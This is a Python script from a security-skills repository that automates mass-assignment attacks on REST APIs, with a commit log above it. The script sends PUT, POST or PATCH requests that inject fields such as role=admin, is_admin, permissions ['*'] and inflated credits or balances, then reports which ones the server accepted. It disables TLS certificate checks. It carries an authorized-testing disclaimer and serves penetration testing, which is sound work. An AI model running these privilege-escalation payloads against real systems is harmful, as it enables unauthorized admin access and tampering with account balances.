Files
Anthropic-Cybersecurity-Skills/skills/exploiting-mass-assignment-in-rest-apis/scripts/agent.py
T
mukul975 c47eed6a64 Production hardening: security fixes, code quality, 724 skills complete
- Fix 25 shell=True subprocess calls with list-based commands
- Fix 49 verify=False in defensive skills (env-var override)
- Add timeout to 231 HTTP/subprocess/socket calls
- Fix 6 SQL injection patterns with whitelist validation
- Replace 8 __import__() with standard imports
- Remove 701 unused imports across 442 files
- Add authorized-testing disclaimers to all offensive skills
- Complete 11 incomplete skill directories
- Expand 10 stub SKILL.md files with full content
- Fix 2 YAML parse errors in frontmatter
- Fix 5 pre-existing syntax errors
- Convert 22 hardcoded paths/ports to environment variables
- Back up 21 redundant skill pairs to .bak
- Fix 2 global declaration errors
- 724/724 skills with full folder anatomy (SKILL.md + agent.py + api-reference.md + LICENSE)
- 0 compile errors across all 724 agent.py files
2026-03-19 13:26:49 +01:00

126 lines
4.5 KiB
Python

#!/usr/bin/env python3
"""Agent for detecting mass assignment vulnerabilities in REST APIs."""
import argparse
import json
from datetime import datetime, timezone
try:
import requests
HAS_REQUESTS = True
except ImportError:
HAS_REQUESTS = False
PRIVILEGE_FIELDS = [
"role", "roles", "is_admin", "isAdmin", "admin", "privilege",
"permissions", "access_level", "user_type", "group", "groups",
"verified", "is_verified", "email_verified", "active", "is_active",
"approved", "is_approved", "subscription", "plan", "tier",
"credits", "balance", "discount",
]
def get_baseline_response(url, token=None):
"""Get baseline response to understand normal object structure."""
if not HAS_REQUESTS:
return {}
headers = {"Authorization": f"Bearer {token}"} if token else {}
try:
resp = requests.get(url, headers=headers, timeout=10, verify=False)
return resp.json()
except (requests.RequestException, json.JSONDecodeError):
return {}
def test_mass_assignment(url, method, base_data, extra_fields, token=None):
"""Test mass assignment by injecting extra fields in request body."""
if not HAS_REQUESTS:
return []
findings = []
headers = {"Authorization": f"Bearer {token}"} if token else {}
headers["Content-Type"] = "application/json"
for field in extra_fields:
test_values = {
"role": "admin",
"roles": ["admin"],
"is_admin": True,
"isAdmin": True,
"admin": True,
"permissions": ["*"],
"access_level": 999,
"verified": True,
"is_verified": True,
"active": True,
"is_active": True,
"credits": 99999,
"balance": 99999,
"plan": "enterprise",
}
payload = {**base_data, field: test_values.get(field, True)}
try:
if method.upper() == "POST":
resp = requests.post(url, json=payload, headers=headers, timeout=10, verify=False)
elif method.upper() == "PUT":
resp = requests.put(url, json=payload, headers=headers, timeout=10, verify=False)
elif method.upper() == "PATCH":
resp = requests.patch(url, json=payload, headers=headers, timeout=10, verify=False)
else:
continue
if resp.status_code in (200, 201):
resp_data = resp.json() if resp.headers.get("content-type", "").startswith("application/json") else {}
if field in str(resp_data):
findings.append({
"field": field,
"value_sent": test_values.get(field, True),
"status_code": resp.status_code,
"field_in_response": True,
"severity": "CRITICAL" if field in ("role", "is_admin", "admin", "permissions") else "HIGH",
})
except requests.RequestException:
continue
return findings
def main():
parser = argparse.ArgumentParser(
description="Detect mass assignment vulnerabilities in REST APIs (authorized testing only)"
)
parser.add_argument("--url", required=True, help="API endpoint URL")
parser.add_argument("--method", default="PUT", choices=["POST", "PUT", "PATCH"])
parser.add_argument("--data", required=True, help="Base request JSON data")
parser.add_argument("--token", help="Bearer token")
parser.add_argument("--fields", nargs="*", help="Custom fields to test")
parser.add_argument("--output", "-o", help="Output JSON report")
args = parser.parse_args()
print("[*] Mass Assignment Testing Agent")
print("[!] For authorized security testing only")
base_data = json.loads(args.data)
extra_fields = args.fields or PRIVILEGE_FIELDS
findings = test_mass_assignment(args.url, args.method, base_data, extra_fields, args.token)
report = {
"timestamp": datetime.now(timezone.utc).isoformat(),
"target": args.url,
"fields_tested": len(extra_fields),
"findings": findings,
"risk_level": "CRITICAL" if any(f["severity"] == "CRITICAL" for f in findings) else "HIGH" if findings else "LOW",
}
print(f"[*] Tested {len(extra_fields)} fields, {len(findings)} accepted")
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(f"[*] Report saved to {args.output}")
else:
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()